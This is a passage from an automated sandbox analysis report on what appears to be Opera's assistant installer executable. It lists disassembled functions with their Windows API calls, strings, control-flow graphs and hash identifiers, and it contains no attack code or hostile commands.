                                                                                                                                                                                                                • Opcode Fuzzy Hash: 287fc132461a4c96ff356f33a734e952ed44dfaa988bbc27f2fdd3aac7e6ec6f
                                                                                                                                                                                                                • Instruction Fuzzy Hash: D7215AB1A002189FEF10BB64EC59ABEB764FF41725F640029FC56C3241DB797C058792
                                                                                                                                                                                                                Function 0076E1C4 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 156libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 006F3696: _strlen.LIBCMT ref: 006F36AD
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 0076E274
                                                                                                                                                                                                                • GetModuleHandleW.KERNEL32(kernel32.dll,?,?,?), ref: 0076E345
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,SetUnhandledExceptionFilter), ref: 0076E355
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: _strlen$AddressHandleModuleProc
                                                                                                                                                                                                                • String ID: /prefetch:7$SetUnhandledExceptionFilter$fallback-handler$kernel32.dll$test-child-process$type
                                                                                                                                                                                                                • API String ID: 3627888737-2824896278
                                                                                                                                                                                                                • Opcode ID: 49427e9bfb22b5c1d0f79241e52aea16c15d92904233d976dd34bd01809ea1e9
                                                                                                                                                                                                                • Instruction ID: 39039d901ab7562c794e3fe24b5e33b803a29941fb2974059a8f915ba36cc0d0
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 49427e9bfb22b5c1d0f79241e52aea16c15d92904233d976dd34bd01809ea1e9
                                                                                                                                                                                                                • Instruction Fuzzy Hash: EE51E6B0604755AFDB10EF759846A6F7A96FF81750F04042CF486D3382EE299A48C6A3
                                                                                                                                                                                                                Function 00757020 Relevance: 15.1, APIs: 10, Instructions: 101threadCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00757059
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 0075705D
                                                                                                                                                                                                                • GetCurrentProcess.KERNEL32 ref: 00757065
                                                                                                                                                                                                                • DuplicateHandle.KERNELBASE(00000000,00000000,00000000,FFFFFFFF,00000000,00000000,00000002), ref: 00757074
                                                                                                                                                                                                                • GetLastError.KERNEL32 ref: 00757087
                                                                                                                                                                                                                • SetLastError.KERNEL32(00000000), ref: 007570A6
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 007570B3
                                                                                                                                                                                                                • GetCurrentThreadId.KERNEL32 ref: 007570E0
                                                                                                                                                                                                                • GetCurrentThread.KERNEL32 ref: 007570EF
                                                                                                                                                                                                                • GetThreadPriority.KERNEL32(00000000), ref: 007570F6
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: Current$Thread$ErrorLastProcess$DuplicateHandlePriority
                                                                                                                                                                                                                • String ID:
                                                                                                                                                                                                                • API String ID: 1544239892-0
                                                                                                                                                                                                                • Opcode ID: f6ad75f5172f08c2257c662062a9dacb41aa37c677ae527a53fd78df50c11530
                                                                                                                                                                                                                • Instruction ID: 59b57b6d23c5660dcc5b33187525c80e3c5edd19cda86bad9310c9329b69268c
                                                                                                                                                                                                                • Opcode Fuzzy Hash: f6ad75f5172f08c2257c662062a9dacb41aa37c677ae527a53fd78df50c11530
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 7F3104B1A002049BD714BBB4EC4DA6F77A8BF80725F140025FD0AD7291EE7DAC05C7A2
                                                                                                                                                                                                                Function 007B0B4C Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 165COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • GetCurrentProcessId.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 007B0B68
                                                                                                                                                                                                                • OpenProcess.KERNEL32(00000451,00000001,00000000), ref: 007B0B76
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: GetLastError.KERNEL32(00000000,?,-00000001,?,007012C9,00000000), ref: 00701BAB
                                                                                                                                                                                                                  • Part of subcall function 00701B9C: SetLastError.KERNEL32(00000000,?,007012C9,00000000), ref: 00701BCA
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: ErrorLastProcess$CurrentOpen
                                                                                                                                                                                                                • String ID: --thread=$<v$<v$database$exception-pointers$process
                                                                                                                                                                                                                • API String ID: 4145867261-2291844171
                                                                                                                                                                                                                • Opcode ID: 9f49b2f1c01422e777159b4bf47925e8e175ca7bbd3e90975676057a4a8fe2b4
                                                                                                                                                                                                                • Instruction ID: 581476141304bf9f35f06edd7d5239f2e69ba712a9bf76d936dc51d3f263fa73
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 9f49b2f1c01422e777159b4bf47925e8e175ca7bbd3e90975676057a4a8fe2b4
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 4551F1B1508301AFDB10EF64D886AAFBBE5BF94314F00492DF1C592192EB79E649C793
                                                                                                                                                                                                                Function 00734020 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 186libraryloaderCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1029 734020-734051 call 746f20 1032 734057-73407d LoadLibraryExW 1029->1032 1033 73421b-73422c call 8294aa 1029->1033 1035 73409a-73409f CommandLineToArgvW 1032->1035 1036 73407f-73408d GetProcAddress 1032->1036 1037 7340a5-7340a7 1035->1037 1039 7340a9 1036->1039 1040 73408f-734098 1036->1040 1041 7340ab-7340c5 1037->1041 1039->1041 1040->1037 1042 7341b1-7341d2 call 733c40 LocalFree 1041->1042 1043 7340cb-7340d6 1041->1043 1052 7341d4-7341d5 FreeLibrary 1042->1052 1053 7341db-7341e0 1042->1053 1045 73423b-734243 call 73297c 1043->1045 1046 7340dc-734100 call 8293de 1043->1046 1055 734145-734170 call 844504 1046->1055 1052->1053 1053->1033 1056 7341e2-7341e7 1053->1056 1067 734176-73417b 1055->1067 1068 73422f-734231 call 730494 1055->1068 1057 7341f6-7341fd 1056->1057 1058 7341e9-7341eb 1056->1058 1061 7341f0-7341f4 1057->1061 1062 7341ff-73420a call 82945e 1057->1062 1060 73420f-734218 call 82945e 1058->1060 1060->1033 1061->1057 1065 73420c 1061->1065 1062->1061 1065->1060 1070 734110-734117 1067->1070 1071 73417d-734183 1067->1071 1074 734236 call 83d9b4 1068->1074 1076 734131-734143 1070->1076 1077 734119-73412e call 82cf70 1070->1077 1071->1074 1075 734189-7341a3 call 8293de 1071->1075 1074->1045 1075->1077 1076->1055 1081 7341a8-7341ae 1076->1081 1077->1076 1081->1042
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • LoadLibraryExW.KERNEL32(api-ms-win-downlevel-shell32-l1-1-0.dll,00000000,00000800,?,?,?,?,?,?,?,?,00000000,0539FA80), ref: 00734072
                                                                                                                                                                                                                • GetProcAddress.KERNEL32(00000000,CommandLineToArgvW), ref: 00734085
                                                                                                                                                                                                                • CommandLineToArgvW.SHELL32(?,00000000,?,?,?,?,?,?,?,?,00000000,0539FA80), ref: 0073409F
                                                                                                                                                                                                                • LocalFree.KERNEL32(00000000,?), ref: 007341C7
                                                                                                                                                                                                                • FreeLibrary.KERNELBASE(?), ref: 007341D5
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • CommandLineToArgvW, xrefs: 0073407F
                                                                                                                                                                                                                • api-ms-win-downlevel-shell32-l1-1-0.dll, xrefs: 0073406D
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: FreeLibrary$AddressArgvCommandLineLoadLocalProc
                                                                                                                                                                                                                • String ID: CommandLineToArgvW$api-ms-win-downlevel-shell32-l1-1-0.dll
                                                                                                                                                                                                                • API String ID: 787947344-3353834106
                                                                                                                                                                                                                • Opcode ID: 42414bb9a9727f17939d2edcc8b825d474b753e89e983eb3e332930845594dfd
                                                                                                                                                                                                                • Instruction ID: b9f5344a795a851f3cd3b2de4e7203d8d53bb8765a8f8f10752546bd26f054c1
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 42414bb9a9727f17939d2edcc8b825d474b753e89e983eb3e332930845594dfd
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 00518FB1E002199FEB14DFA8DC45BAEBBB9BF58310F144129E801F7342D779A945CBA1
                                                                                                                                                                                                                Function 006F1000 Relevance: 10.8, APIs: 1, Strings: 5, Instructions: 251COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00733F70: GetCommandLineW.KERNEL32(?,00000000), ref: 00733FE7
                                                                                                                                                                                                                • _strlen.LIBCMT ref: 006F1055
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CommandLine_strlen
                                                                                                                                                                                                                • String ID: ../../opera/desktop/windows/assistant/installer/assistant_installer_main.cc$Running assistant installer with command line $WinMain$assistant_installer_%02d%02d%02d%02d%02d%02d.log$asstgx_ins
                                                                                                                                                                                                                • API String ID: 1507289288-2816526336
                                                                                                                                                                                                                • Opcode ID: 437fc4866c626ce375fe8692e7220e0a14efb196cf4326e6ee225b742151a1e1
                                                                                                                                                                                                                • Instruction ID: 96453e9a7632aa216ed24a0b563af20b16f2c3fb0262af3e6314af873c5df700
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 437fc4866c626ce375fe8692e7220e0a14efb196cf4326e6ee225b742151a1e1
                                                                                                                                                                                                                • Instruction Fuzzy Hash: C091E3B1900704DBD720AF34DC86A77B7E5BF95300F04492DFA9A8B242EB75B549C791
                                                                                                                                                                                                                Function 00756CC0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 106threadCOMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1187 756cc0-756d15 call 8293de CreateThread 1190 756d17-756d1c 1187->1190 1191 756d22-756d2b GetLastError 1187->1191 1192 756d4d-756d4e CloseHandle 1190->1192 1193 756d1e-756d20 1190->1193 1194 756d2d-756d32 1191->1194 1195 756d39-756d3a call 779cc0 1191->1195 1196 756d54-756d6c call 8294aa 1192->1196 1193->1196 1194->1195 1197 756d34-756d37 1194->1197 1201 756d3f 1195->1201 1197->1195 1200 756d6d-756d8b 1197->1200 1203 756dcd-756de1 call 8294e7 1200->1203 1204 756d8d-756da2 call 743aa0 1200->1204 1205 756d42-756d4b call 82945e 1201->1205 1203->1204 1212 756de3-756e04 call 737330 call 82955d 1203->1212 1213 756da4-756da7 1204->1213 1214 756daa-756dbe call 737350 1204->1214 1205->1196 1212->1204 1213->1214 1214->1205 1220 756dc0-756dc8 call 82945e 1214->1220 1220->1201
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                • CreateThread.KERNELBASE(00000000,00100000,Function_00067020,00000000,00010000,00000000), ref: 00756D0B
                                                                                                                                                                                                                • GetLastError.KERNEL32(?,?,?), ref: 00756D22
                                                                                                                                                                                                                • CloseHandle.KERNEL32(00000000,?,?,?), ref: 00756D4E
                                                                                                                                                                                                                • __Init_thread_header.LIBCMT ref: 00756DD2
                                                                                                                                                                                                                • __Init_thread_footer.LIBCMT ref: 00756DFC
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                • create_thread_last_error, xrefs: 00756DE5
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID: CloseCreateErrorHandleInit_thread_footerInit_thread_headerLastThread
                                                                                                                                                                                                                • String ID: create_thread_last_error
                                                                                                                                                                                                                • API String ID: 1016829980-3219933969
                                                                                                                                                                                                                • Opcode ID: 3c4f79024d275b515ce78b9ac39b709324d6148513b813b8315c3ba6ff68422e
                                                                                                                                                                                                                • Instruction ID: 764baf70ca9556a6d14f5065ed1bdd3cceadf8edb984b9f9b61c1f0714fadc8f
                                                                                                                                                                                                                • Opcode Fuzzy Hash: 3c4f79024d275b515ce78b9ac39b709324d6148513b813b8315c3ba6ff68422e
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 2E313BB1B003149BEF10AF68EC86BAE77B4FB45311F444425FC49D7241D6B9AC49D762
                                                                                                                                                                                                                Function 0084792E Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 77COMMONLIBRARYCODE
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1224 84792e-84793a 1225 8479e1-8479e4 1224->1225 1226 84793f-847950 1225->1226 1227 8479ea 1225->1227 1228 847952-847955 1226->1228 1229 84795d-847976 LoadLibraryExW 1226->1229 1230 8479ec-8479f0 1227->1230 1231 8479de 1228->1231 1232 84795b 1228->1232 1233 8479c8-8479d1 1229->1233 1234 847978-847981 GetLastError 1229->1234 1231->1225 1236 8479da-8479dc 1232->1236 1235 8479d3-8479d4 FreeLibrary 1233->1235 1233->1236 1237 847983-847995 call 844e10 1234->1237 1238 8479b8 1234->1238 1235->1236 1236->1231 1241 8479f1-8479f3 1236->1241 1237->1238 1244 847997-8479a9 call 844e10 1237->1244 1240 8479ba-8479bc 1238->1240 1240->1233 1243 8479be-8479c6 1240->1243 1241->1230 1243->1231 1244->1238 1247 8479ab-8479b6 LoadLibraryExW 1244->1247 1247->1240
                                                                                                                                                                                                                Strings
                                                                                                                                                                                                                Memory Dump Source
                                                                                                                                                                                                                • Source File: 00000015.00000002.2698803733.00000000006F1000.00000020.00000001.01000000.00000015.sdmp, Offset: 006F0000, based on PE: true
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698767856.00000000006F0000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000857000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698907916.0000000000885000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698974401.00000000008A0000.00000008.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A1000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2698994389.00000000008A5000.00000004.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                • Associated: 00000015.00000002.2699036845.00000000008AB000.00000002.00000001.01000000.00000015.sdmpDownload File
                                                                                                                                                                                                                Joe Sandbox IDA Plugin
                                                                                                                                                                                                                • Snapshot File: hcaresult_21_2_6f0000_assistant_installer.jbxd
                                                                                                                                                                                                                Similarity
                                                                                                                                                                                                                • API ID:
                                                                                                                                                                                                                • String ID: api-ms-$ext-ms-
                                                                                                                                                                                                                • API String ID: 0-537541572
                                                                                                                                                                                                                • Opcode ID: a3f9f6be0f110b763feb5de94181d2e82c9ca0d358cc035bf5ca616f6904ba4d
                                                                                                                                                                                                                • Instruction ID: 54b54f642cdcb08aa684300b5bd232039c8fc57522d7fb231ea5b1b347bdc16a
                                                                                                                                                                                                                • Opcode Fuzzy Hash: a3f9f6be0f110b763feb5de94181d2e82c9ca0d358cc035bf5ca616f6904ba4d
                                                                                                                                                                                                                • Instruction Fuzzy Hash: 88212732A4922CABDB319B289C40B1A3F58FF11764F240122FD06E7291D738EC00C6E1
                                                                                                                                                                                                                Function 0076E4D0 Relevance: 9.4, APIs: 4, Strings: 1, Instructions: 621COMMON
                                                                                                                                                                                                                Download Yara Rule

                                                                                                                                                                                                                Control-flow Graph

                                                                                                                                                                                                                • Executed
                                                                                                                                                                                                                • Not Executed
                                                                                                                                                                                                                control_flow_graph 1248 76e4d0-76e52e call 779ce0 call 8293de call 756ae0 1255 76e530-76e539 call 82945e 1248->1255 1256 76e53c-76e554 1248->1256 1255->1256 1258 76e556-76e55f call 8442d0 1256->1258 1259 76e561 1256->1259 1262 76e563-76e57c call 7347a0 1258->1262 1259->1262 1266 76e582-76e584 1262->1266 1267 76e57e 1262->1267 1268 76e586-76e5a9 call 8293de call 82da70 1266->1268 1269 76e5d8-76e604 call 700fdc 1266->1269 1267->1266 1281 76e5b7-76e5bd call 8442d0 1268->1281 1282 76e5ab-76e5b1 1268->1282 1274 76e606-76e60f call 8442d0 1269->1274 1275 76e611 1269->1275 1279 76e613-76e638 call 748e60 call 6f401e 1274->1279 1275->1279 1292 76e642-76e690 call 731878 call 731a38 1279->1292 1293 76e63a-76e63e 1279->1293 1287 76e5c0-76e5d5 call 76ec8e call 7b1830 1281->1287 1282->1281 1284 76ec7b-76ec7f 1282->1284 1284->1287 1287->1269 1301 76e692-76e69b call 82945e 1292->1301 1302 76e69e-76e6a3 1292->1302 1293->1292 1301->1302 1304 76e6a5-76e6ae call 82945e 1302->1304 1305 76e6b1-76e6b9 1302->1305 1304->1305 1308 76e6c7-76e6d8 1305->1308 1309 76e6bb-76e6c4 call 82945e 1305->1309 1312 76e6e5 1308->1312 1313 76e6da-76e6e3 call 8442d0 1308->1313 1309->1308 1314 76e6e7-76e707 call 748e60 call 6f401e 1312->1314 1313->1314 1322 76e711-76e761 call 731878 call 731a38 1314->1322 1323 76e709-76e70d 1314->1323 1328 76e763-76e76c call 82945e 1322->1328 1329 76e76f-76e774 1322->1329 1323->1322 1328->1329 1330 76e776-76e77f call 82945e 1329->1330 1331 76e782-76e787 1329->1331 1330->1331 1334 76e795-76e7a2 1331->1334 1335 76e789-76e792 call 82945e 1331->1335 1339 76e848-76e84a 1334->1339 1340 76e7a8 1334->1340 1335->1334 1341 76e942-76e9a3 call 701040 call 829493 call 6ffc5c 1339->1341 1342 76e850-76e855 1339->1342 1344 76e7ac-76e7b5 1340->1344 1372 76eb5f-76eb82 call 6f4114 1341->1372 1373 76e9a9-76e9ab 1341->1373 1342->1341 1345 76e85b-76e866 1342->1345 1346 76e7b7-76e7bb 1344->1346 1347 76e7bf-76e7c7 1344->1347 1350 76e870-76e878 1345->1350 1351 76e868-76e86c 1345->1351 1346->1347 1352 76e7ce-76e7de call 747650 1347->1352 1353 76e7c9-76e7cb 1347->1353 1355 76e87f-76e88f call 747650 1350->1355 1356 76e87a-76e87c 1350->1356 1351->1350 1361 76e845 1352->1361 1362 76e7e0-76e7eb 1352->1362 1353->1352 1368 76e936-76e93c 1355->1368 1369 76e895-76e8a0 1355->1369 1356->1355 1361->1339 1365 76e7f5-76e7fd 1362->1365 1366 76e7ed-76e7f1 1362->1366 1370 76e804-76e814 call 747650 1365->1370 1371 76e7ff-76e801 1365->1371 1366->1365 1368->1341 1368->1345 1374 76e8a2-76e8a6 1369->1374 1375 76e8aa-76e8b2 1369->1375 1370->1361 1388 76e816-76e81a 1370->1388 1371->1370 1386 76eb87-76eb89 1372->1386 1387 76eb84 1372->1387 1377 76e9ad-76e9ba 1373->1377 1374->1375 1378 76e8b4-76e8b6 1375->1378 1379 76e8b9-76e8c9 call 747650 1375->1379 1383 76e9c7 1377->1383 1384 76e9bc-76e9c5 1377->1384 1378->1379 1379->1368 1391 76e8cb-76e8cf 1379->1391 1389 76e9ca-76e9e3 call 7492e0 1383->1389 1384->1389 1392 76ebe4-76ec01 call 7b206c 1386->1392 1393 76eb8b-76ebab call 8293de call 7b183c 1386->1393 1387->1386 1394 76e822-76e826 1388->1394 1395 76e81c-76e81e 1388->1395 1412 76e9e5-76ea09 1389->1412 1413 76ea0e-76ea38 1389->1413 1397 76e8d7-76e8db 1391->1397 1398 76e8d1-76e8d3 1391->1398 1406 76ec06-76ec28 call 709aba call 6f40f6 call 8294a5 1392->1406 1432 76ebc0-76ebc9 call 709b02 1393->1432 1433 76ebad-76ebbe 1393->1433 1402 76e830-76e838 1394->1402 1403 76e828 1394->1403 1400 76e820 1395->1400 1401 76e82a-76e82e 1395->1401 1409 76e8e5-76e8e9 1397->1409 1410 76e8dd 1397->1410 1407 76e8d5 1398->1407 1408 76e8df-76e8e3 1398->1408 1400->1402 1401->1361 1401->1402 1402->1344 1414 76e83e-76e840 1402->1414 1403->1401 1450 76ec36-76ec3b 1406->1450 1451 76ec2a-76ec33 call 82945e 1406->1451 1407->1409 1408->1368 1408->1409 1417 76e8f6-76e908 1409->1417 1418 76e8eb-76e8f4 1409->1418 1410->1408 1419 76eb2e-76eb3c 1412->1419 1420 76ec84-76ec8d call 73297c 1413->1420 1421 76ea3e-76eaa5 call 6f4170 1413->1421 1414->1341 1424 76e91b-76e933 1417->1424 1425 76e90a-76e914 call 82945e 1417->1425 1418->1424 1427 76eb40-76eb59 1419->1427 1428 76eb3e 1419->1428 1436 76eaa7 1421->1436 1437 76eae4-76eae8 1421->1437 1424->1368 1425->1424 1427->1372 1427->1377 1428->1427 1439 76ebce-76ebdc 1432->1439 1433->1439 1442 76eaab-76ead4 1436->1442 1443 76eaea-76eb20 call 6fe890 1437->1443 1439->1392 1445 76ebde-76ebe0 1439->1445 1442->1442 1446 76ead6-76eae2 1442->1446 1443->1419 1452 76eb22-76eb2b call 82945e 1443->1452 1445->1392 1446->1443 1454 76ec3d-76ec46 call 82945e 1450->1454 1455 76ec49-76ec57 call 6f40f6 1450->1455 1451->1450 1452->1419 1454->1455 1463 76ec65-76ec7a call 8294aa 1455->1463 1464 76ec59-76ec62 call 82945e 1455->1464 1464->1463
                                                                                                                                                                                                                APIs
                                                                                                                                                                                                                  • Part of subcall function 00756AE0: GetCurrentThread.KERNEL32 ref: 00756B50
                                                                                                                                                                                                                  • Part of subcall function 00756AE0: SetThreadDescription.KERNELBASE(00000000,?,?,?,?,'v,?,?,0076E527,?), ref: 00756B58
                                                                                                                                                                                                                  • Part of subcall function 00756AE0: IsDebuggerPresent.KERNEL32('v,?,?,0076E527,?), ref: 00756B6B
